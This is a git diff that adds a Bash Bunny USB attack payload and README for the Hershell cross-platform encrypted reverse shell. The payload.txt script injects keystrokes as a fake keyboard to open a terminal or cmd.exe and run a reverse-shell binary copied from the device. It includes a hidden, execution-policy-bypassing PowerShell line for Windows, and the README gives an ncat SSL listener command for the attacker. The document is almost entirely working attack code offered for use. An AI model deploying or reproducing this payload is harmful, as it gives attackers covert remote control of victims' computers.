diff --git a/payloads/library/remote_access/Hershell_MacLinuxWindows_ReverseShell/README.md b/payloads/library/remote_access/Hershell_MacLinuxWindows_ReverseShell/README.md new file mode 100644 index 000000000..d4143993f --- /dev/null +++ b/payloads/library/remote_access/Hershell_MacLinuxWindows_ReverseShell/README.md @@ -0,0 +1,14 @@ +# Hershell Encrypted Reverse Shell (Cross-platform - Manual Mode) + +Author: m3t4lk3y
+Creds: Ronan Kervella (Creator of Hershell)
+Version: Version 0.5
+ +## Instructions + +Hershell Github: https://github.com/sysdream/hershell (read all instructions on Hershell git before starting) + +1. Compile all payloads and place binaries in the `payloads\$SWITCH_POSITION` directory (Double check binary names. Defaults are `mac32`, `linux32`, `win32.exe`) +2. Uncomment desired target OS payload lines and ensure others are commented out +3. Start ncat listener on your attacking machine, that is to receive the reverse shell (e.g. `ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4343`) +4. Execute attack via Bash Bunny diff --git a/payloads/library/remote_access/Hershell_MacLinuxWindows_ReverseShell/payload.txt b/payloads/library/remote_access/Hershell_MacLinuxWindows_ReverseShell/payload.txt new file mode 100644 index 000000000..f8f53069d --- /dev/null +++ b/payloads/library/remote_access/Hershell_MacLinuxWindows_ReverseShell/payload.txt @@ -0,0 +1,118 @@ +#!/bin/bash +# Title: Hershell Encrypted Reverse Shell (Cross-platform - Manual Mode) +# Author: m3t4lk3y +# Version: 0.5 +# Target: Windows, Mac OSX, Linux +# Creds: Ronan Kervella (Creator of Hershell) - https://github.com/sysdream/hershell + +# Instructions: +# Hershell Github: https://github.com/sysdream/hershell (read all instructions on Hershell git before starting) +# 1. Compile all payloads and place binaries in the payloads\$SWITCH_POSITION directory (Double check binary names. Defaults are mac32, linux32, win32.exe) +# 2. Uncomment desired target OS payload lines and ensure others are commented out +# 3. Start ncat listener on your attacking machine, that is to receive the reverse shell (e.g. ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 4343) +# 4. Execute attack via Bash Bunny + +# SETUP +DRIVER_LABEL='WINDOWS' # Drive label for your Bash Bunny +LED R +GET SWITCH_POSITION # Gets switch position (e.g. switch2) +ATTACKMODE STORAGE HID SERIAL # Keyboard HID Attack + Storage + Serial + +# Modified RUN helper +function RUN() { + local os=$1 + shift + [[ -z "$os" || -z "$*" ]] && exit 1 + case "$os" in + WIN) + QUACK GUI m + QUACK DELAY 500 + QUACK GUI r + QUACK DELAY 500 + QUACK STRING cmd.exe + QUACK DELAY 100 + QUACK ENTER + QUACK DELAY 500 + QUACK STRING "$@" + QUACK DELAY 100 + QUACK ENTER + ;; + OSX) + QUACK GUI SPACE + QUACK DELAY 100 + QUACK STRING terminal + QUACK DELAY 100 + QUACK ENTER + QUACK GUI t + QUACK DELAY 100 + QUACK STRING /bin/bash + QUACK DELAY 100 + QUACK ENTER + QUACK STRING "$@" + QUACK DELAY 100 + QUACK ENTER + QUACK DELAY 100 + QUACK STRING "exit" + QUACK DELAY 100 + QUACK ENTER + QUACK DELAY 100 + QUACK STRING "exit" + QUACK DELAY 100 + QUACK ENTER + ;; + UNITY) + QUACK ALT F2 + QUACK DELAY 1000 + QUACK STRING xterm + QUACK DELAY 1000 + QUACK ENTER + QUACK DELAY 1000 + QUACK STRING /bin/bash + QUACK DELAY 1000 + QUACK ENTER + QUACK DELAY 500 + QUACK STRING cd /media/'$USER' + QUACK DELAY 500 + QUACK ENTER + QUACK DELAY 500 + QUACK STRING "$@" + QUACK DELAY 500 + QUACK ENTER + QUACK DELAY 500 + QUACK STRING "exit" + QUACK DELAY 500 + QUACK ENTER + QUACK DELAY 500 + QUACK STRING "exit" + QUACK DELAY 500 + QUACK ENTER + ;; + *) + exit 1 + ;; + esac +} +export -f RUN + +# START Attack +LED Y + +# [+] Mac - Uncomment the following lines to use: +# until ls -halt /dev | head -n 5 | grep -q "nandf"; do sleep 1; done # Wait for bb to mount +# LED Y FAST +# RUN OSX "cp /Volumes/$DRIVER_LABEL/payloads/$SWITCH_POSITION/mac32 /tmp && chmod +x /tmp/mac32 && /tmp/mac32 &" + +# [+] Linux - Uncomment the following lines to use: +until dmesg | grep -q "sunxi_usb"; do sleep 1; done; sleep 5 # Wait for bb to mount +LED Y FAST +RUN UNITY "cd $DRIVER_LABEL/payloads/$SWITCH_POSITION && cp linux32 /tmp/ && chmod +x /tmp/linux32 && /tmp/linux32 &" + +# [+] Windows - Uncomment the following lines to use: +# until dmesg | grep -q "sunxi_usb"; do sleep 1; done; sleep 5 # Wait for bb to mount +# LED Y FAST +# RUN WIN powershell -NoP -NonI -W Hidden -exec bypass ".((gwmi win32_volume -f 'label=''$DRIVER_LABEL''').Name+'\payloads\\$SWITCH_POSITION\win32.exe')" + +# END +sleep 5 +LED G +# shutdown 0 # LIGHTS OUT = Shutdown and dismount (if desired)